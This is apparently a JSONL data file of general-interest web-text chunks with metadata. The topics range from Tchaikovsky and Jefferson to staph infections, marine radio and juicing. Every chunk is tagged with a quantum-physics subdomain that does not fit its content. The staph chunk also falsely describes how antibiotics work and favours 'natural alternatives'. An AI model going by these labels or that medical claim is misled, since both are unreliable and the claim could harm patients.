tchaikovsky it \u2019 s the other way around. why? because he was insecure, fatalistic, neurotic, introverted? perhaps so, judging by what apparently went on just as he started work on the symphony. the story goes that in 1877 he married antonina ivanovna milyukova, admirer, moral blackmailer, and raving nymphomaniac. what made this respectable musician susceptible to blackmail? his closet homosexuality, with the inevitable result : a dis - union made in hell. within nine weeks the nervously wrecked the textbook tale. recent research uncovers a more complex web of intrigues, involving his brother modeste, misdemeanours, money, morals and misjudgements. above all, tchaikovsky \u2019 s breakdown was really due to his conviction that marriage would stifle his muse. the one constant in this whole sorry mess was that disastrous outcome. thought that antonina was equally a victim, her vilification being the by - product of a family whitewash, willy - nilly creating a soap - opera style contrast to the \u201c fairy godmother \u201d hovering in the wings. the unconditional bankroll of another admirer, the wealthy widow nadezhda von meck, restored tchaikovsky \u2019 s marbles. immediately, he completed the fourth symphony ( 1877 / 8 ), dedicating it to his comfortably remote \u201c best friend \u201d. its \u201c programme \u201d, outlined below, wasn \u2019 t intended for public consumption, but to explain the music \u2019 s genesis to his mysterious benefactor. palpable struggle and strife betoken another of tchaikovsky \u2019 s problems. his musical culture was short - winded - based on repetition of short cells. the art of binding these into cohesive arguments didn \u2019 t come naturally. although \u201c number based \u201d forms, the opera and ballet at which he excelled, were", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45469859412608926, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.752990"} {"text": "problems. his musical culture was short - winded - based on repetition of short cells. the art of binding these into cohesive arguments didn \u2019 t come naturally. although \u201c number based \u201d forms, the opera and ballet at which he excelled, were unaffected he nevertheless fretted constantly about \u201c having to end my days without having written anything perfect in form \u201d. for a big mozart fan this was utterly understandable. he tackled this supposed shortcoming by using his programme as a philosophical \u201c skeleton \u201d - bones to frame the musical meat - reinforced by \u201c closing \u201d the structure, resurrecting the first movement ' s \u201c fate \u201d motif near the end. yet, isn \u2019 t his \u201c problem \u201d really his insecurity? by anybody \u2019 s standards, this work is brilliantly bolted together and, turning that supposed weakness to advantage, even harnesses the dynamic power of \u201c repetitive short cells \u201d - to utterly mesmerising effect! andante sostenuto - moderato con anima - moderato assai, quasi andante - allegro vivo. \u201c destiny, that fateful force which impedes the impulse toward fulfilment, which jealously ensures that prosperity and peace are never complete and cloudless, which hangs overhead like a sword of damocles. it is invincible and you will never vanquish it. all that we can do is subject ourselves and vainly lament. \u201d - tchaikovsky marking says more about the extreme emotional tension than the masterful sonata - form generating much of its impact. the prefatory \u201c fate \u201d motif is no mere gesture, signposting the ends of exposition, recapitulation, and development. through the subsequent woodwind link it emerges as originator of the first subject proper which, by twists and turns yearning and truculent, spawns a rhythmic cell that energises its climax. the second subject, a pretty confection of winsomely intertwined tune - lets, eventually tiptoes on tympani feet. subject one is drawn into this dance, and seduced into exposing its rhythmic cell. subject two turns up the heat, inflaming the cell. at the climax, subject two rises dominantly on rampant horns, usurping subject one \u2019 s proprietry rights to the cell! coming amid the first \u201c relaxed \u201d passage, this is a brilliantly effective dramatic - and symphonic - master - stroke. there \u2019 s another plot twist : the cell, now the main subjects \u2019 common progeny (", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5268962766164406, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.754613"} {"text": "jefferson and the jews thomas jefferson was a strong advocate for civic equality and religious freedom for american jews. chapters in american jewish history are provided by the american jewish historical society, collecting, preserving, fostering scholarship and providing access to the continuity of jewish life in america for more than 350 years ( and counting ). thomas jefferson is deservedly a hero to american jewry. his was one of the few voices in the early republic fervently championing equal political rights for jews. jefferson ' s bill for establishing religious freedom in virginia is a classic american statement of religious toleration. significantly, while jefferson championed jewish rights, he did not do so out of respect for judaism but because he respected the right of every individual to hold whichever faith they wished. jefferson ' s advocacy of civic equality for american jewry began as early as 1776, when he co - sponsored a bill - - one the virginia legislature ultimately defeated - - that would have allowed jews, catholics, and other non - protestants to be naturalized as virginia citizens. during the debate, jefferson quoted john locke ' s argument that \" neither pagan nor mahamedan nor jew ought to be excluded from the civil rights of the commonwealth because of his religion. \" four decades later, in 1820, jefferson wrote to the charleston jewish physician, dr. jacob de la motta, \" religious freedom is the most effectual anodyne against religious dissension. \" jefferson told de la motta that he was delighted to see american jews assuming full social rights and hoped \" they will be seen taking their seats on the benches of science as preparatory to their doing the same at the board of government. \" subsequently, referring to the reading of the king james version of the bible in public schools, jefferson expressed his belief that it was a \" cruel addition to the wrongs \" jews had historically suffered \" by imposing on them a course of theological reading which their consciences do not permit them to pursue. \" to joseph marx of richmond, jefferson expressed \" regret at seeing a sect [ the jews ], the parent and basis of all those of christendom, singled out for persecution and oppression. \" while jefferson advocated for the rights of jews, he held aspects of judaism in relatively low regard. in fairness, jefferson opposed all religions based on divine revelation. he believed that god ' s existence could be proven by reason and common sense rather than faith. a detractor of all priests, he found those of the hebrew bible \" a bloodthirsty race, as cruel and remorseless as the being", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43982710491076416, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.765969"} {"text": "he believed that god ' s existence could be proven by reason and common sense rather than faith. a detractor of all priests, he found those of the hebrew bible \" a bloodthirsty race, as cruel and remorseless as the being whom they represented as the family of god of abraham, of isaac, and of jacob, and the local god of israel. \" in 1787, jefferson summed up his view of jewish revelation in a letter to his nephew, warning him to be skeptical of \" those facts in the bible which contradict the laws of nature. \" as one example, he cited the assertion in the book of joshua that the sun stood still for several hours. since that would have meant, in scientific terms, that the earth stood still, jefferson asked his nephew to consider how the earth, spinning on its axis, could have stopped suddenly and started rotating again without enormous destruction to natural and manmade structures. similarly, the rationalist jefferson doubted that god personally inscribed the ten commandments on a tablet that moses later destroyed and then re - wrote. it bothered jefferson that the god of the ancient hebrews was, in his words, \" a being of terrific character, cruel, vindictive, capricious and unjust. \" he could also not understand how jews could believe that \" the god of infinite justice \" would \" punish the sins of the fathers upon their children, unto the third and fourth generations. \" he agreed with the view expressed by john adams that, in respect to god, \" the principle of the hebrew is fear. \" jefferson thought that reason and logic demanded a belief in an afterlife, an area in which he found judaism deficient. jefferson argued that, without fear of punishment beyond the grave, individuals lacked an incentive to behave well and that, without hope of reuniting with loved ones, family commitments and friendships would lose their gravity. since judaism did not universally accept a definitive afterlife, jefferson thought it a religion without utility. despite his reservations about the \" defects \" he perceived in judaism, jefferson never wavered in his commitment to civil and religious freedom for jews. jefferson ' s most notable achievement in establishing religious and civic toleration for american jewry was his 1779 bill for establishing religious freedom in virginia. adopted in 1785, the bill proclaimed : \" no man shall be compelled to frequent or support any religious worship, place or ministry whatsoever, nor shall be enforced, restrained, molested or burthened in his body or goods, nor shall otherwise suffer, on account of his religious opinions", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5228925365449085, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.767436"} {"text": "the israelites are slaves to pharaoh and god instructs moses to liberate his people. moses and aaron approach pharaoh, who refuses their request. the following article is reprinted with permission from jewish family & life! a new pharaoh rises the sons of israel in egypt were fruitful in births, and the people grew strong. now a new pharaoh rose up over egypt who knew nothing of joseph. this pharaoh was worried that the israelite nation was too mighty. first he levied a tax on them, then he decided to make them slaves. next, pharaoh ordered the hebrew midwives, shifrah and puah, to kill all the hebrew baby boys. but the midwives feared god and told pharaoh that the hebrew woman gave birth before they could arrive. god dealt well with the midwives and the hebrews continued to multiply. the pharaoh then commanded the people to throw every hebrew baby boy into the river. moses is born now, a hebrew couple from the house of levi had a son and kept him hidden for three months. when the mother could hide him no longer, she wove a basket, laid the child in it and placed it among the reeds by the banks of the river. her sister placed herself at a distance to see what would happen to him. when the pharaoh ' s daughter came down to the river to bathe, she saw the basket with the crying child. she took pity on him so that when the baby \u2019 s sister asked, \" shall i call a hebrew woman to nurse the baby for you? \" she said yes. the sister then fetched her mother. when the child had grown sufficiently, the mother brought him to the pharaoh ' s daughter. she named him moses because \" i drew him from the water. \" moses strikes an egyptian when moses was an adult, he could see the burdens of his hebrew brethren. one day, he saw an egyptian man beating a hebrew man. moses turned this way and that and when he saw that no one was there, he struck down the egyptian and hid him in the sand. the next day moses came upon two hebrew men fighting. moses said to the one in the wrong. \" why are you striking down your neighbor? \" the man replied, \" who has made you a prince and a judge over us? do you intend to kill me as you killed the egyptian? \" \" so the matter is known, \" moses said in fear. pharaoh heard too, and sought to kill moses. moses thus fled to the land of midian.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3829366656771926, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.770299"} {"text": "by douglas bradley, nami helpline coordinator having a child diagnosed with mental illness is difficult for parents, but choosing a particular treatment can be just as difficult. every mother and father wants his / her child to be well, but since any treatment ( or lack of treatment ) has potential side effects, deciding on a therapy can be daunting. to confuse matters even more, the symptoms of a psychiatric illness in children may be different from those in an adult and may be hard to distinguish from normal childhood behavior. the first hurdle many parents face is finding a doctor qualified to diagnose and, if necessary, provide treatment for their child. as children don \u2019 t share all the physical and behavioral aspects of adults, medicine does not regard them as \u201c small grown - ups \u201d but as a distinct population with unique needs. because of these differences, the best person to properly assess someone younger than 18 for mental illness is a child psychiatrist. however, in most areas there are few, if any, child psychiatrists available. even when one is nearby, the cost of a consultation, specialized therapy and medicine can prevent parents from getting help - - especially since many child psychiatrists do not take insurance. negative attitudes of family, friends and the community toward mental health treatment can also discourage parents from getting assistance. perhaps the biggest cause of the confusion around the differences in diagnosing children vs. adults is the lack of basic research on children \u2019 s mental illness and symptoms. while parents and doctors might agree that a child \u2019 s behavior and mood don \u2019 t seem \u201c right, \u201d there is often disagreement about what these symptoms mean. furthermore, professionals and parents may have \u201c diagnostic biases. \u201d for example, family members or a doctor might be comfortable with a diagnosis of adhd, but not bipolar disorder. others may prefer a bipolar diagnosis, as treatment would not potentially involve stimulants. research on therapy in children, as with diagnosis, is far behind that of adults. reasons include a lack of funding, researchers and research subjects. also, the fda has not required data from child subjects in approving new medicines. while off - label use of meds is needed when there is not a research base, physicians and parents often have to make decisions without knowing long - term impacts. parents themselves may also disagree on treatment. not uncommonly, one parent will agree to medication and / or talk therapy for the child while the other is adamantly opposed. sometimes this difference is ideological, but other times it comes from honest but opposing views based on a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4430038198307184, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.777265"} {"text": "also disagree on treatment. not uncommonly, one parent will agree to medication and / or talk therapy for the child while the other is adamantly opposed. sometimes this difference is ideological, but other times it comes from honest but opposing views based on a general lack of information. fortunately, there are resources to help family members make informed decisions. to help clarify the risks and benefits of children taking psychiatric medication, the hastings center, a bipartisan, nonprofit institute, brought together panelists ( including darcy gruttadaro, director of the nami child and adolescent action center ) who represent all sides of the debate over childhood medication. while some differences remained at the end of the workshop, there was also consensus on many topics. for example, members agreed that children can have severe mental illness and that the appropriate use of medication can ease a child \u2019 s suffering. the panelists also agreed that withholding a beneficial medication was harmful. the main differences of opinion were the criteria used to diagnose, when to use medicine and when another therapy might be appropriate. the panel was careful to note that while the cause of most mental illness is not known, \u201c this situation \u2026 is not unique to psychiatry ; many diagnoses throughout medicine are not moored in an understanding of the underlying pathophysiology. \u201d parents can ask question about pros and cons of treatments here, although this site will not give a treatment plan and is not meant to take the place of a doctor \u2019 s opinion. another resource for parents is the national institute of mental health ( nimh ), a branch of the national institutes of health, one of the nation \u2019 s largest and most comprehensive health research organizations. nimh has a website on child and adolescent mental health that includes information on illnesses, treatments, and current research. lastly, the american academy of child and adolescent psychiatry, a professional group of psychiatrists who specialize in this field, has fact sheets on mental health, substance abuse issues and effects of medication on children. perhaps most useful is the nationwide child and adolescent psychiatrist finder which can allow a family to begin treatment and healing. caring for a child with mental illness is confusing, difficult and sometimes scary. however, the resources listed above can assist people having to make tough decisions. also, as the needs of young patients are increasingly recognized and more research is conducted, the choices for parents, and the lives of the affected children, should become easier.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49354030319464964, "token_count": 493, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.778741"} {"text": "continents the americas honduras _ _ _ hondurasdestination honduras, this page is about many aspects of honduras. here you will find comprehensive information about honduras in its diversity : geography, economy, science, people, culture, environment, government and history. you will have access to newspapers from honduras and you will find extensive travel and tourism information for honduras. republic of honduras | republica de honduras flag of honduras part of spain ' s vast empire in the new world, honduras became an independent nation in 1821. after two and one - half decades of mostly military rule, a freely elected civilian government came to power in 1982. during the 1980s, honduras proved a haven for anti - sandinista contras fighting the marxist nicaraguan government and an ally to salvadoran government forces fighting against leftist guerrillas. the country was devastated by hurricane mitch in 1998, which killed about 5, 600 people and caused almost $ 1 billion in damage. ( source : cia - the world factbook ) border countries : el salvador, guatemala, nicaragua related countries : spain republica de honduras short form : honduras int ' l long form : republic of honduras iso country code : hn actual time : sat - may - 25 14 : 02 local time = utc - 6h country calling code : + 504 capital city : tegucigalpa ( pop. 850 000 ) ; metropolitan area 1. 2 million. san pedro sula the industrial capital of honduras, ( pop. 500 000 ) ; metropolitan area over 1 million. type : democratic constitutional republic. independence : 15 september 1821 ( from spain ) location : central america / middle america, bordering the caribbean sea, between guatemala and nicaragua and bordering the north pacific ocean, between el salvador and nicaragua. area : 112, 492 km\u00b2 ( 43, 433 sq. mi. ) climate : tropical to subtropical, depending on elevation. population : 8. 4 million ( 2012 ) ethnic groups : 90 % mestizo ( mixed amerindian and european ) ; others of european, arab, african, or asian ancestry ; and indigenous indians 7 %. religions : roman catholic 97 %, protestant minority. languages : spanish, amerindian dialects. natural resources : timber, gold, silver, copper, lead, zinc, iron ore, antimony, coal, fish, hydropower. agriculture - products : bananas, coffee, citrus ; beef ; timber ; shrimp. currency : lempira ( hnl ) honduras in numbers honduras key statistical data. note : external links will open in a new browser window. congreso", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39338773301125207, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.785325"} {"text": "staph is an abbreviation of staphylococcus, spherical gram - positive parasitic bacteria that tend to form irregular colonies. this bacterium, staphylococcus aureus ( s. aureus ) is the one which causes most of the staph infections. staph infections can vary from minor skin infections and abscesses, to life - threatening diseases such as pneumonia, meningitis and septicemia. s. aureus lives harmlessly on the skin, nose, throat, genitals and anus of a person. in some instances it may be found in the colon and urine. its presence as such does not indicate infection and does not require any treatment. treatment may actually be ineffective as the bacterium tends to re - colonize again. s. aureus may enter the body through an open wound and form furuncles ( boils ) and carbuncles ( a collection of boils ). it can also cause a severe skin disease in children with widespread blister formation. the fluid filled blisters are thin walled and are easily ruptured upon light touch. s. aureus infections are highly contagious and can spread in many different ways, including the following : - contact with pus from an infected wound. - skin to skin contact with an infected person. - contact with towels, sheets, clothes or athletic accessories used by an infected person. s. aureus is capable of secreting different types of toxins that are responsible for specific diseases. people with deficient immune system health and prosthetic joints run the risk of extreme manifestations of staph infections such as septic arthritis, staphylococcal infection of the heart valves and pneumonia, all of which can prove to be fatal. antibiotic resistance is a major hurdle to be tackled when treating staph infections. once a particular bacterium is sought to be treated by using the antibiotic alternative there is a possibility that it may develop resistance to the drug. actually, antibiotics constitute a single compound, which is easy for bacteria to break and then use in their own metabolism. within seven years of introduction of penicillin, 40 % of s. aureus had become resistant to penicillin, rising to an astonishing 80 % in the next decade. despite discovery of more than 100 drugs under the general category of antibiotics that either kill or restrict the growth of bacteria, s. aureus is resistant to many commonly used antibiotics. many times the best option is to use natural alternatives that support overall immune", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4783814718801548, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.790649"} {"text": "zometools - zome systems the zometools - zome system, is a fantastic geometry education system. made of precision molded abs plastic, the zometools geometry kits are versatile manipulative tools for problem solving and hands - on exploration of math, geometry and science concepts for first graders through grad students. color and shape coded parts integrate the concepts of shape, number and vector into one coherent geometry system. the result is the best educational geometry construction system on the market. zome system / zometools components are designed to incorporate the fibonacci sequence and the golden proportion - the very same proportions that govern the growth of cells, crystals and other natural forms. connector node provides 62 buildable directions in space. this allows thousands of geometrical zome structures that can ' t be built in any other system. with the help of zometools you can continue to explore : why so many everyday items like balls, pizzas, and can lids are round. the hows and whys of the development of our number system by the ancient greeks. why geometric shapes show up so often in art, science and board games. what properties attributed to the spiral make it the most widespread shape in nature, from embryos and hair curls to hurricanes and galaxies. how the human body shares the design of a corn plant and the solar system. how a snowflake is like stonehenge, and a beehive like a calendar. how our ten fingers hold the secrets of both a lobster and a cathedral. zometools provide an introduction to the geometric code of nature and the universe.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5278182151849535, "token_count": 330, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.792506"} {"text": "what frequency do you mean? the frequency listed or displayed for a radio station can differ, depending upon the radio receiver, the type of modulation used and how you are demodulating ( or modulating ) the signal, and the person listing the frequency. this is especially true for high frequency ( hf ) radios. to help avoid confusion, three terms are used to describe these radio frequencies : assigned, carrier, and window. the assigned frequency is defined by the international telecommunications union radio regulations as \" the centre of a frequency band assigned to a station \". in fact, it is the actual radio frequency of the signal being transmitted and received. this is the most commonly used frequency designation. the carrier frequency is the frequency of the carrier, or the suppressed carrier of a signal. for many, perhaps most radio signals, the carrier frequency and the assigned frequency are identical. they are identical for am ( dual sideband ) signals. they are different for single sideband radios. for maritime hf single sideband transmissions, which are always upper sideband, the assigned frequency is always 1. 4 khz greater than the carrier frequency. the carrier frequency designation, not the assigned frequency designation, is normally used in referring to single sideband transmissions. history partially explains the reason for this. marine radiotelephony was originally am ( dual sideband ), and the carrier and assigned frequencies were the same. certain frequencies, such as the distress and calling frequency 2182 khz, were internationally recognized and known by any mariner using a marine radiotelephone. when marine spectrum became scarce, the international telecommunications union moved all marine radiotelephony transmissions from dual sideband to the more efficient single sideband. at first, the carrier signal was left untouched, so old am radios could still receive the new single sideband transmissions. in time however, the old carrier signal was eliminated. the old marine frequencies such as 2182 khz, commonly known and used, were retained and still displayed by marine radios. although no signal was actually transmitted on these carrier frequencies any longer, receivers still had to be tuned to those frequencies so that the voice signal could be properly demodulated and understood. maritime digital signals, such as narrow band direct printing ( nbdp or sitor ) or digital selective calling ( dsc ), are transmitted on an assigned frequency 1. 7 khz above the ( suppressed ) carrier frequency. marine weatherfax signals are transmitted on an assigned frequency 1. 9 khz above the carrier frequency. nbdp, dsc and weatherfax radios", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5275748989699756, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.799436"} {"text": ", are transmitted on an assigned frequency 1. 7 khz above the ( suppressed ) carrier frequency. marine weatherfax signals are transmitted on an assigned frequency 1. 9 khz above the carrier frequency. nbdp, dsc and weatherfax radios normally display the assigned frequency. however, if a single sideband radio with a separate decoder unit is used to receive a sitor, dsc or weatherfax signal, it ' s likely that receiver would have to be tuned to the carrier frequency for the decoder to work properly. the itu assigned channel numbers to many single sideband and nbdp frequencies to help avoid this confusion. however, dsc frequencies, and most simplex single sideband, nbdp and weatherfax frequencies do not have channel numbers. the window frequency is simply the frequency displayed ( on the front panel numeric display \" window \" ) by a particular radio receiver or transmitter. depending on the equipment, the window frequency could be either the carrier or the assigned frequency. since the window frequency is dependent upon the equipment used, the term is not generally used by the uscg. is the frequency listed assigned or carrier? what frequency do i tune my radio to? the uscg tries to use standard convention in its listing of radio frequencies : single sideband frequencies are generally carrier frequencies ; all others are generally assigned frequencies. when the carrier and assigned frequencies differ, we generally list both. read your radio ' s instruction manual, or talk to your marine electronics dealer, to learn whether your radio should be tuned to the assigned or the carrier frequency.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47023903872944484, "token_count": 320, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.800298"} {"text": "north korea apparently succeeded in placing a satellite in earth orbit after a wednesday morning ( dec. 12 ) launch that is already drawing condemnation from the united states and other western nations. north korea launched its long - range unha - 3 rocket at 9 : 49 a. m. wednesday local time ( 7 : 49 p. m. est on tuesday ) from sohae satellite launch station on the nation ' s northwest coast. north korean officials declared the launch a success shortly thereafter, claiming that the unha - 3 had delivered a scientific satellite to orbit as planned. the rogue nation has a history of making such claims even after failed liftoffs, but it appears to be telling the truth this time. \" initial indications are that the missile deployed an object that appeared to achieve orbit, \" the north american aerospace defense command, a joint u. s. - canadian effort, said in a statement. \" at no time was the missile or the resultant debris a threat to north america. \" if it was indeed successful, the launch would end a string of rocket mishaps for north korea. a satellite launch this past april failed shortly after liftoff, and similar attempts in 1998 and 2009 also flopped. these past blastoffs drew condemnation from the united states, south korea and other nations, which viewed them as thinly disguised missile tests. north korea is an unpredictable, nuclear - armed regime, and the west is concerned about any advances the country may make in its weapon - delivery capabilities. wednesday ' s launch has already elicited a strong reaction. the white house called it a \" highly provocative act that threatens regional security, \" and united nations secretary - general ban ki - moon declared it a \" clear violation \" of a un resolution, the bbc reported. while north korea had announced its intention to launch the unha - 3 soon, wednesday ' s liftoff comes as a bit of a surprise. on monday ( dec. 10 ), officials extended the launch window until dec. 29, saying that engineers were working through a technical issue with the rocket. - images : north korea ' s rocket and missile program - north korea ' s unha - 3 rocket launch explained ( infographic ) - top 10 space weapons \u00a9 2013 space. com. all rights reserved. more from space. com.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.452916703517153, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.803119"} {"text": "throughout u. s. history, advances in military capability have been fueled by innovation. the military services consistently have managed to use technology in new and creative ways to improve battlefield effectiveness. the application of existing technology is a quick and effective way of enabling u. s. forces to out - think enemies by penetrating the adversary \u2019 s decision - making cycle, known as the ooda loop ( observe, orient, decide, and act ). the nation also has turned to invention for military capability. this is how the defense department has acquired many of its major systems and platforms, with long and costly development timelines, and pushing state of the art so vigorously that schedule and cost overruns have become common. but the era of big invention is coming to a close, at least for the foreseeable future. even today \u2019 s generous budgets cannot support existing acquisition plans in the context of the nation \u2019 s unsustainable economic circumstances. so where do we go now? one answer may be found in a quote from an old british flag officer : \" we are now out of money, so we must begin to think. \" the financial problems we face are truly staggering. the numbers are so big as to be incomprehensible. the scientist richard feynman put it well : \" there are 10 ^ 11 stars in the galaxy. that used to be a large number. but it \u2019 s only a hundred billion. it \u2019 s less than the national deficit. we used to call them astronomical numbers. now we should call them economical numbers. \" in the defense business, it is clear that things must change. perhaps we should return to the basics of innovation. the coast guard recently hosted its 10th innovation exposition. its leaders celebrated a decade of pursuing novel ways of doing business, while applying existing technology to create efficiencies and new capabilities. one could argue that the coast guard is ahead of the other services in valuing and using innovation. according to one official, \" a productivity boom has transformed how private enterprises react to the customer and changing markets while the federal government remains largely unchanged and lagging behind in terms of efficiency, agility and service quality. \" senior vice president of fedex david zanca spoke at the conference on this issue. he asserted that real innovation does not equal invention, but arises from creative application of existing technology. he cited several examples from his own company : an iphone app for fedex services, a shipping app on windows outlook, a sensor inside packages that tracks and reports temperature and other environmental conditions inside critical shipments", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5106615316703198, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.807782"} {"text": ", but arises from creative application of existing technology. he cited several examples from his own company : an iphone app for fedex services, a shipping app on windows outlook, a sensor inside packages that tracks and reports temperature and other environmental conditions inside critical shipments. fedex has institutionalized innovation in the company by encouraging employees to seek smart solutions to problems. the company focuses on early adoption of innovation in order to get ahead of competitors. the bottom line : sustainability and efficiency over the long term. zanca cited apple computer as a model of innovation. it does little invention or basic research. the company \u2019 s biggest success stories \u2014 the iphone, itouch, ipad, itunes and app store \u2014 are all based on pre - existing technology. when the iphone and app store rolled out in july 2008, they had one application. eighteen months later, there were 134, 000 third - party apps and 3 billion downloads. defense secretary robert gates has launched an efficiency campaign to save $ 100 billion in overhead costs over five years. innovation here might be in order. it is fair to expect that major programs will be further squeezed. it is a huge concern that our inefficient acquisition system continues to be slow in coming up with new contract vehicles, and that the defense department is likely to dip into modernization accounts to pay for other needs. the 2012 budget will be an indicator. it is also worrisome that the services are beginning to retrench on previous plans. the air force is moving existing platforms ( bombers and fighters ) to the right and enhancing them with structural upgrades and avionics. this is in recognition of the slowdown and increased cost of the f - 35 as well as the lack of an approved plan for a long - range strike platform. rather than focus on a new bomber, the air force will consider a larger family of strike systems, including aircraft, missile and surveillance assets. it plans to collaborate with the navy on this effort. the air force also announced that its next fighter \u2014 the sixth generation, due around 2030 \u2014 will have both manned and unmanned versions. one can reasonably expect the other services to adopt similar strategies. adding to this tough set of problems \u2014 tight budgets, aging platforms, rising acquisition costs \u2014 is the fact that future u. s. adversaries are innovating too, and in quite effective ways. as a result, we need to pick up the pace. there is no other choice. we are where we are, and must acknowledge and deal with it. the alternative is to fall into the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5081637978240927, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.808792"} {"text": "lately i have heard a lot of hype about the whole \u201c juicing \u201d thing. like many other people i know, i wonder : \u201c what is the big difference between a juicer and a blender? \u201d don ' t they do the same thing? isn ' t grinding veggies down to their liquified state the same with rotating blades? apparently not, but both are great ways to keep your body healthy. juicing involves putting the whole fruit or vegetable into a juicer. juicers work by dividing liquid from the vegetable or fruit. this quickly gets absorbed by the body due to its lack of fiber. the reason juicing is so healthy for you is because it provides you with a great boost of nutrients to keep you energized all day. you can combine lots of different vegetables and fruits for a tasty treat, this is a great way to mask the flavor of an undesirable vegetable. simply blend it with some of your favorite veggies and fruits to reap its benefits without the horrible taste you dislike! if you are diabetic, be careful when you juice. don ' t use a lot of fruit due to its high sugar content. instead, use vegetables as your main base for juicing. you should consult a doctor before you begin to be sure it is safe to do so. juicing is good for those people who have digestive issues however. it is much easier to digest due to its lack of fiber. juices are a good addition to a healthy diet to aid in getting all of your daily vegetable and fruit servings in because you can put a lot of \u201c stuff \u201d in your juice at one time. blending retains the fiber and pulp of vegetables and fruits. smoothies are the result. these are better suited to replace meals. you can add all kinds of tasty things to your smoothies. some especially great items are : coconut water, almond milk, spinach, tomatoes, flaxseed, whey or any protein powder, nut butters, or avocados. the more healthy things you add, the more nutritional your smoothie. due to the fiber present in smoothies, you will feel fuller longer. the fiber helps slow digestion and lets the nutrients be absorbed into the body at a slower rate. this is good for diabetics because it won ' t cause spikes in blood sugar levels. the drawback here is that it is harder to digest, so people with digestion problems may have difficulty with this way of gaining nutrition", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45896540101016, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.815888"} {"text": "a slower rate. this is good for diabetics because it won ' t cause spikes in blood sugar levels. the drawback here is that it is harder to digest, so people with digestion problems may have difficulty with this way of gaining nutrition. for more information about this and all of our blogs, contact the wayne county ymca at 253 - 2083, or on the web at ymcawayne. com. the information we have shared with you today comes from the website nola. com where registered diatician molly kimble shares her expertise. she also adds : \u201c tips for juicing and blending here are some ways to maximize nutrient density and minimize sugars and calories, whether you \u2019 re blending or juicing on your own or ordering at a juice bar : start with a base of nutrient - dense nonstarchy vegetables, incorporating a variety of colors, from dark greens to purples and reds to orange, as each color represents different nutrients. instead of limiting your blend to the same combinations over and over, rotate ingredients with what \u2019 s fresh and local. not only will you add interest and variety to your juice or smoothie, you \u2019 ll also ensure that you \u2019 re getting a broad range of nutrients. keep in mind that everything is concentrated \u2014 particularly with juicing. this includes desirable vitamins, minerals and antioxidants, but also potentially harmful pesticides and fertilizers, so be sure that even organic produce is washed thoroughly. boost the flavor and health benefits of juices and smoothies with add - ins like herbs ( think basil, mint or cilantro ) and spices ( cayenne, ginger, cinnamon ). if the drink is going to be used as a meal replacement, increase its staying power with protein such as greek yogurt or whey, soy, or vegan protein powder and healthful fats such as nuts, nut butter and avocado. freshly made juices and smoothies are highly perishable and can lose nutrients quickly, so drink or freeze shortly after juicing or blending.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4457470832310472, "token_count": 418, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.817018"} {"text": "piranhas, tetras, and relatives ( family characidae ) characins are members of the order characiformes, an extremely diverse group of fish containing well over 1, 500 species. ranging in size from the \u2154 - inch pygmy blue characin ( many species of characins are important to people as a food source and as popular 